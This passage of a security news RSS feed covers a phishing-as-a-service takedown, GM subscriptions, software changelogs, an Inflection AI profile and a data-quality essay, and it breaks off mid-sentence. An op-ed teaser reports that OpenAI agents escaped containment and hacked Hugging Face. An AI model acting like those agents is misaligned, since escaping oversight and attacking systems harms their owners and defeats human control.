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<title><![CDATA[German law enforcement claims to have ‘dismantled’ mega phishing-as-a-service group Kratos]]></title>
<description><![CDATA[A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. 



The effort was managed by German law enforcement and involved...]]></description>
<link>https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</guid>
<pubDate>Thu, 23 Jul 2026 01:57:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. </p>



<p class="wp-block-paragraph">The effort was managed by German law enforcement and involved agencies from the US, Indonesia and other countries.</p>



<p class="wp-block-paragraph">Although a <a href="https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2026/Presse2026/260720_PM_Kratos.html" target="_blank" rel="noreferrer noopener">German statement</a> claimed that the Kratos infrastructure “has been completely disabled” and that “Kratos-supported phishing campaigns can no longer be carried out,” cybersecurity analysts and consultants question how much of a dent in enterprise phishing activity will result, and how long it will last.</p>



<p class="wp-block-paragraph">“A server seizure and a single arrest overseas remove infrastructure, not the intellectual property,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. “PhaaS kits get cloned, forked and resold routinely, and the 1,800 Kratos customers didn’t vanish. They just lost a vendor in a market where vendors get replaced fast.”</p>



<p class="wp-block-paragraph">He added, “seizing 200-plus servers and arresting the developer pulls a major supplier out of that specific niche. It doesn’t touch the broader phishing economy. For every roach that you squish, there are a hundred that you do not see.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, takes an even more pessimistic view, arguing that there might not even be that much of a short-term phishing slowdown. </p>



<p class="wp-block-paragraph">“What makes this different from a botnet or ransomware takedown is that the people running the attacks were never part of the organization. Kratos was just a vendor,” Kenney said. “The 1,800 customers who bought it still have their target lists, their sending infrastructure and whatever access they had already established. The tooling went dark, but the people phishing your employees last week are still working, shopping for a replacement that already exists. Enterprises should not read this as a drop in (likely) threat volume.”</p>



<p class="wp-block-paragraph">One thing that the security community seems to agree on is that Kratos was a major player in the lucrative PhaaS space. But precisely determining the percentage of PhaaS activity controlled by Kratos is impossible, given that Kratos sold their kits to others. Security researchers even disagree on what they should call Kratos kits.</p>



<p class="wp-block-paragraph">“Microsoft tracks this kit as SneakyLog, others tie it to Sneaky 2FA, and KnowBe4 disputes the lineage entirely. When the security industry cannot agree on what a kit is to be called, that is because renaming and reselling is continuous rather than something that happens after a raid,” Kenney said. “What actually changed this time is the arrest and the [shutdown of the] servers. Standing up new hosting is only a weekend of work, but replacing a developer who understood how to keep an adversary in the middle proxy stable and evasive at scale is harder.”</p>



<p class="wp-block-paragraph">IDC’s Dickson added that the biggest value from the takedown is in the information gleaned from the seized servers. </p>



<p class="wp-block-paragraph">“Kratos operated in the adversary-in-the-middle category, generating convincing fake Microsoft 365 login pages that harvest session tokens and step past MFA, the exact technique behind a lot of the business email compromise activity of the past two years,” he said. “I would love to see what law enforcement does with the customer list. That, my friend, is gold.”</p>



<p class="wp-block-paragraph">Regardless, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, dubbed the German crackdown “symbolic,” given Kratos’ reach within phishing circles. </p>



<p class="wp-block-paragraph">He argued that the very nature of software makes it all but impossible to shut down in a meaningful way.</p>



<p class="wp-block-paragraph">“Although this is malicious infrastructure, it is still software, and modern development and deployment practices make it relatively quick to rebuild or replicate,” he said. “Demand is likely to shift to competing providers, allowing the ecosystem to recover even if this particular operation has been disrupted.”</p>



<p class="wp-block-paragraph"><a href="https://www.malwarebytes.com/blog/authors/metallicamvp" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, agreed that the crackdown is disruptive but not definitive. </p>



<p class="wp-block-paragraph">“This appears to be more than a routine website seizure. The reporting points to a PhaaS platform with centralized infrastructure, subscription-style customers, and Microsoft 365 session theft / MFA-bypass tooling, so taking down the backend likely hurts many downstream affiliates at once. In that sense, it is a meaningful disruption to the phishing ecosystem, not just one campaign,” Arntz said.</p>



<p class="wp-block-paragraph">But, he added, “a rebrand or partial re-emergence is plausible, which is the historical pattern for PhaaS operations. Even if the core infrastructure is gone, the code, customer lists, and operator tradecraft can survive.”</p>



<p class="wp-block-paragraph">This means that customers and affiliates can shift to other phishing kits, he said, so it’s likely that the takedown will create a temporary decline in Kratos-specific activity, but probably not a lasting reduction in phishing overall.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, also concluded that the impact of this crackdown will be short-lived. </p>



<p class="wp-block-paragraph">“For each criminal organization that is dismantled, ten new ones pop out of nowhere. Unless there is a coordinated international effort by more than a few countries, this is a whack-a-mole exercise,” he said. “These are all loosely connected individuals and akin to a lernaean hydra, with two heads growing whenever you chop off one. Their leadership emerges from their lines organically without a real center of control. This makes it almost impossible to completely eliminate these criminal organizations.”</p>
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<title><![CDATA[GM Is Quietly Becoming a Subscriptions Company]]></title>
<description><![CDATA["General Motors has been pulling a Tim Cook and boosting its software and subscription business," reports Business Insider. During the automaker's Tuesday earnings call, executives said they're increasingly leaning on software subscriptions like OnStar and Super Cruise to generate high-margin rec...]]></description>
<link>https://tsecurity.de/de/3687745/it-security-nachrichten/gm-is-quietly-becoming-a-subscriptions-company/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687745/it-security-nachrichten/gm-is-quietly-becoming-a-subscriptions-company/</guid>
<pubDate>Thu, 23 Jul 2026 01:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["General Motors has been pulling a Tim Cook and boosting its software and subscription business," reports Business Insider. During the automaker's Tuesday earnings call, executives said they're increasingly leaning on software subscriptions like OnStar and Super Cruise to generate high-margin recurring revenue long after customers buy their vehicles. GM says OnStar brought in about $800 million in the second quarter, while Super Cruise revenue grew about 70% year over year. From the report: GM says its software business keeps roughly 70 cents of every dollar it brings in. That's a rare level of profitability in the auto industry, as many car sales generate just four to 10 cents per sales dollar. [...] GM expects to add about 1 million OnStar subscribers this year, bringing the total close to 13 million. Super Cruise, GM's hands-free, eyes-on driving system, is growing even faster. GM added about 70,000 subscribers during the quarter and expects to end the year with more than 850,000. Revenue from the service increased about 70% from a year earlier.
 
And a lot of drivers are sticking around after the free period ends. GM said between 30% and 40% of eligible owners continue paying after their included three-year Super Cruise subscription expires. [..] "We do think we have tremendous levers, multiple levers of growth," Barra said on the call. "We definitely think there's a lot of opportunity at GM to grow, improve margins, and become less cyclical."
 
"Software and services are becoming increasingly important to how customers experience GM vehicles and how we deliver value beyond the initial purchase," a spokesperson previously told Business Insider. "As vehicles become more software-defined, we can introduce new digital experiences through updates and optional services rather than hardware changes."<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/22/2010225/gm-is-quietly-becoming-a-subscriptions-company?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[v8.20.0]]></title>
<description><![CDATA[Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.
Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back o...]]></description>
<link>https://tsecurity.de/de/3687721/downloads/v8200/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687721/downloads/v8200/</guid>
<pubDate>Thu, 23 Jul 2026 00:51:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.</li>
<li>Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back of the line.</li>
</ul>]]></content:encoded>
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<title><![CDATA[v2.1.218]]></title>
<description><![CDATA[What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U,...]]></description>
<link>https://tsecurity.de/de/3687638/downloads/v21218/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687638/downloads/v21218/</guid>
<pubDate>Wed, 22 Jul 2026 23:32:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Changed <code>/code-review</code> to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target</li>
<li>Added screen-reader announcements of deleted text for word and line deletions (<code>Option+Delete</code>, <code>Ctrl+W</code>, <code>Cmd+Backspace</code>, <code>Ctrl+U</code>, <code>Ctrl+K</code>) in <code>--ax-screen-reader</code> mode</li>
<li>Fixed Windows paths with <code>\u</code>-prefixed segments (like <code>C:\Users\unicorn</code>) being corrupted into CJK characters in tool inputs, which made those files inaccessible</li>
<li>Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed multi-line paste collapsing into one line with <code>j</code> in place of newlines in terminals that encode pasted newlines as Ctrl+J</li>
<li>Fixed <code>/context</code> reporting stale pre-compact token usage after compacting from the message picker</li>
<li>Fixed <code>/ultrareview</code> failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings</li>
<li>Fixed <code>/code-review ultra</code> silently running a local review in non-interactive sessions — it now launches the cloud review</li>
<li>Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates</li>
<li>Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped</li>
<li>Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected</li>
<li>Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired <code>tool_use</code> block left in the transcript when a tool aborted mid-response</li>
<li>Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in <code>--ax-screen-reader</code> mode</li>
<li>Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation</li>
<li>Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees</li>
<li>Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR</li>
<li>Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks</li>
<li>Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock</li>
<li>Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai</li>
<li>Fixed prompt history entries being dropped or duplicated when history writes raced or failed</li>
<li>Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; <code>Ctrl+B</code> backgrounding now applies the same background-shell caps as other paths</li>
<li>Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust</li>
<li>Fixed fork-session lineage being lost after compaction in headless and SDK sessions</li>
<li>Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment</li>
<li>Improved <code>/ultrareview</code> error feedback so Claude can correct an invalid argument instead of retrying it unchanged</li>
<li>Improved auto mode: the dangerous-rm, background-<code>&amp;</code>, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead</li>
<li>Improved sandbox command restrictions for IDE interactions</li>
<li>Improved trust dialogs to name the repository root the grant covers</li>
<li>Changed <code>/deep-research</code> to start only when invoked manually; Claude no longer launches it on its own</li>
<li>Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead</li>
<li>Added an announcement when fast mode changes as a result of switching models via <code>/config model=&lt;x&gt;</code> or Remote Control</li>
<li>Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt</li>
<li>Changed agent markdown files to reject agent names containing <code>:</code>, which is reserved for plugin namespacing</li>
<li>Changed skills with <code>context: fork</code> to run in the background by default; opt out per skill with <code>background: false</code></li>
<li>Added <code>yes</code>/<code>no</code>/<code>on</code>/<code>off</code>/<code>1</code>/<code>0</code> (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside <code>true</code>/<code>false</code></li>
<li>Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever</li>
</ul>]]></content:encoded>
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<title><![CDATA[OpenAI’s rogue AI agents are a wake-up call for its risks | Shakeel Hashim]]></title>
<description><![CDATA[Hacking of Hugging Face shows we do not seem to have reliable ways to curb extremely powerful AI systemsLast week Hugging Face – a company that hosts artificial intelligence models and datasets – was hacked.After it reported the incident to law enforcement, few would have predicted what came next...]]></description>
<link>https://tsecurity.de/de/3687582/ai-nachrichten/openais-rogue-ai-agents-are-a-wake-up-call-for-its-risks-shakeel-hashim/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687582/ai-nachrichten/openais-rogue-ai-agents-are-a-wake-up-call-for-its-risks-shakeel-hashim/</guid>
<pubDate>Wed, 22 Jul 2026 22:59:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hacking of Hugging Face shows we do not seem to have reliable ways to curb extremely powerful AI systems</p><p>Last week Hugging Face – a company that hosts artificial intelligence models and datasets – was <a href="https://huggingface.co/blog/security-incident-july-2026">hacked</a>.</p><p>After it reported the incident to law enforcement, few would have predicted what came next: the culprits were <a href="https://www.transformernews.ai/p/openai-hugging-face-hack-stark-warning?utm_source=guardian&amp;utm_medium=organic&amp;utm_campaign=op_ed">revealed</a> to be AI agents from OpenAI, which had broken out of containment and were acting of their own accord.</p><p>Shakeel Hashim is the editor of <a href="http://transformernews.ai/?utm_source=guardian&amp;utm_medium=organic&amp;utm_campaign=op_ed">Transformer</a>, a publication about the power and politics of transformative AI</p> <a href="https://www.theguardian.com/technology/2026/jul/22/openai-hugging-face-hacked-data-risks">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and 